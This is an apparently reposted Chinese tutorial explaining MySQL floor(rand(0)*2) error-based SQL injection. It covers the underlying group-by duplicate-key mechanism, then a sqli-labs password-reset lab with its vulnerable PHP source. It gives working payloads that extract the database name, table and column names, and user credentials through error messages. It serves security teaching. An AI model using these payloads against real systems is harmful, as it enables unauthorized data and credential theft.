当前位置:   article > 正文

SQL报错注入之floor

SQL报错注入之floor

目录

1.简述

2.关键函数说明

1.rand函数

2.floor(rand(0)*2)函数

3.group by 函数

4.count(*)函数

3.报错分析

4.报错流程

4.1寻找注入点

 4.2爆数据库名

4.3爆表名

4.4爆字段名

4.5查询数据


1.简述

利用 select count(),(floor(rand(0)2))x from table group by x,因为查询的结果主键不唯一,导致数据库报错,通过 concat 函数,连接注入语句与 floor(rand(0)*2)函数,实现将注入结果与报错信息回显的注入方式。

floor报错注入有 count 、group by 、floor、rand四个关键函数

2.关键函数说明

1.rand函数

rand() 可以产生一个在0和1之间的随机数。

可见,直接使用rand函数每次产生的数都不同,但是当提供了一个固定的随机数的种子0之后:

每次产生的值都是一样的。也可以称之为伪随机(产生的数据都是可预知的)。 查看多个数据看一下。(users是一个有6行数据的表)

这样第一次产生的随机数和第二次完全一样,也就是可以预测的。 利用的时候rand(0)*2为什么要乘以 2 呢?这就要配合 floor 函数来说了。

2.floor(rand(0)*2)函数

floor() 函数的作用就是返回小于等于括号内该值的最大整数。

并且根据固定的随机数种子0,他每次产生的随机数列都是相同的0 1 1 0 1 1

3.group by 函数

group by 主要用来对数据进行分组(相同的分为一组)

img

首先我们在查询的时候是可以使用as用其他的名字代替显示的:

img

但是在实际中可以缺省as直接查询,显示的结果是一样的:

img

然后就可以用group by函数进行分组,并按照x进行排序

注意:最后x这列中显示的每一类只有一次,前面的a的是第一次出现的id值

img

4.count(*)函数

count(*)统计结果的记录数。

这里与group by结合使用看一下:

img

这里就是对重复性的数据进行了整合,然后计数,后面的x就是每一类的数量。

3.报错分析

首先mysql遇到该语句时会建立一个虚拟表。该虚拟表有两个字段,一个是分组的 key ,一个是计数值 count()。也就对应于实验中的 user_name 和 count()。 然后在查询数据的时候,首先查看该虚拟表中是否存在该分组,如果存在那么计数值加1,不存在则新建该分组。

然后mysql官方有给过提示,就是查询的时候如果使用rand()的话,该值会被计算多次,那这个"被计算多次"到底是什么意思,就是在使用group by的时候,floor(rand(0)2)会被执行一次,如果虚表不存在记录,插入虚表的时候会再被执行一次,我们来看下floor(rand(0)2)报错的过程就知道了,从上面的函数使用中可以看到在一次多记录的查询过程中floor(rand(0)2)的值是定性的,为011011 (这个顺序很重要),报错实际上就是floor(rand(0)2)被计算多次导致的,我们还原一下具体的查询过程:

(1)查询前默认会建立空虚拟表如下图:

img

(2)取第一条记录,执行floor(rand(0)*2),发现结果为0(第一次计算), 0 1 1 0 1 1

img

(3)查询虚拟表,发现0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果为1(第二次计算),插入虚表,这时第一条记录查询完毕,如下图: 

img

(4)查询第二条记录,再次计算floor(rand(0)*2),发现结果为1(第三次计算)

img

(5)查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count()加1,第二条记录查询完毕,结果如下:

img

(6)查询第三条记录,再次计算floor(rand(0)*2),发现结果为0(第4次计算)

img

(7)查询虚表,发现键值没有0,则数据库尝试插入一条新的数据,在插入数据时floor(rand(0)*2)被再次计算,1作为虚表的主键,其值为1(第5次计算),插入

img

然而1这个主键已经存在于虚拟表中,而新计算的值也为1(主键键值必须唯一),所以插入的时候就直接报错了。

整个查询过程floor(rand(0)*2)被计算了5次,查询原数据表3次,所以这就是为什么数据表中需要最少3条数据,使用该语句才会报错的原因。

4.报错流程

4.1寻找注入点

根据页面展示是一个密码重置页面,也就是说我们已经登录系统了

  1. <?php
  2. //including the Mysql connect parameters.
  3. include("../sql-connections/sql-connect.php");
  4. error_reporting(0);
  5. function check_input($value)
  6. {
  7. if(!empty($value))
  8. {
  9. // truncation (see comments)
  10. $value = substr($value,0,15);
  11. }
  12. // Stripslashes if magic quotes enabled
  13. if (get_magic_quotes_gpc())
  14. {
  15. $value = stripslashes($value);
  16. }
  17. // Quote if not a number
  18. if (!ctype_digit($value))
  19. {
  20. $value = "'" . mysql_real_escape_string($value) . "'";
  21. }
  22. else
  23. {
  24. $value = intval($value);
  25. }
  26. return $value;
  27. }
  28. // take the variables
  29. if(isset($_POST['uname']) && isset($_POST['passwd']))
  30. {
  31. //making sure uname is not injectable
  32. $uname=check_input($_POST['uname']);
  33. $passwd=$_POST['passwd'];
  34. //logging the connection parameters to a file for analysis.
  35. $fp=fopen('result.txt','a');
  36. fwrite($fp,'User Name:'.$uname."\n");
  37. fwrite($fp,'New Password:'.$passwd."\n");
  38. fclose($fp);
  39. // connectivity
  40. @$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
  41. $result=mysql_query($sql);
  42. $row = mysql_fetch_array($result);
  43. //echo $row;
  44. if($row)
  45. {
  46. //echo '<font color= "#0000ff">';
  47. $row1 = $row['username'];
  48. //echo 'Your Login name:'. $row1;
  49. $update="UPDATE users SET password = '$passwd' WHERE username='$row1'";
  50. mysql_query($update);
  51. echo "<br>";
  52. if (mysql_error())
  53. {
  54. echo '<font color= "#FFFF00" font size = 3 >';
  55. print_r(mysql_error());
  56. echo "</br></br>";
  57. echo "</font>";
  58. }
  59. else
  60. {
  61. echo '<font color= "#FFFF00" font size = 3 >';
  62. //echo " You password has been successfully updated " ;
  63. echo "<br>";
  64. echo "</font>";
  65. }
  66. echo '<img src="../images/flag1.jpg" />';
  67. //echo 'Your Password:' .$row['password'];
  68. echo "</font>";
  69. }
  70. else
  71. {
  72. echo '<font size="4.5" color="#FFFF00">';
  73. //echo "Bug off you Silly Dumb hacker";
  74. echo "</br>";
  75. echo '<img src="../images/slap1.jpg" />';
  76. echo "</font>";
  77. }
  78. }

然后查看我们源码,是根据我们提供的账户名去数据库查看用户名和密码,如果账户名正确那么将密码改成你输入的密码。再执行这条sql语句之前会对输入的账户名进行检查,对输入的特殊字符转义。所以我们能够利用的只有更新密码的sql语句。

 4.2爆数据库名

1' and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)y)#

根据结果得出数据库名为'security'

4.3爆表名

1' and (select 1 from (select count(*),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)#

根据结果得出表名为emails,referers,uagents,users

4.4爆字段名

根据表名知道可能用户的账户和密码是在users表中,接下来我们就是得到该表下的字段名以及内容。

1' and (select 1 from (select count(*),concat((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),floor(rand(0)*2))x from information_schema.tables group by x)y)#

 根据结果得出字段名为id,username,password

4.5查询数据

1' and (select 1 from (select count(*),concat((select concat(username,id,password) from users limit 1, 1),floor(rand(0)*2))x from information_schema.tables group by x)y)#

由于查询结果过长,则可以使用limit函数来逐一爆出数据

本次floor报错注入到此结束,感兴趣的同学可以在GitHub上拉取sqli-labs-master靶场进行测试 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/神奇cpp/article/detail/969394
推荐阅读
相关标签
  

闽ICP备14008679号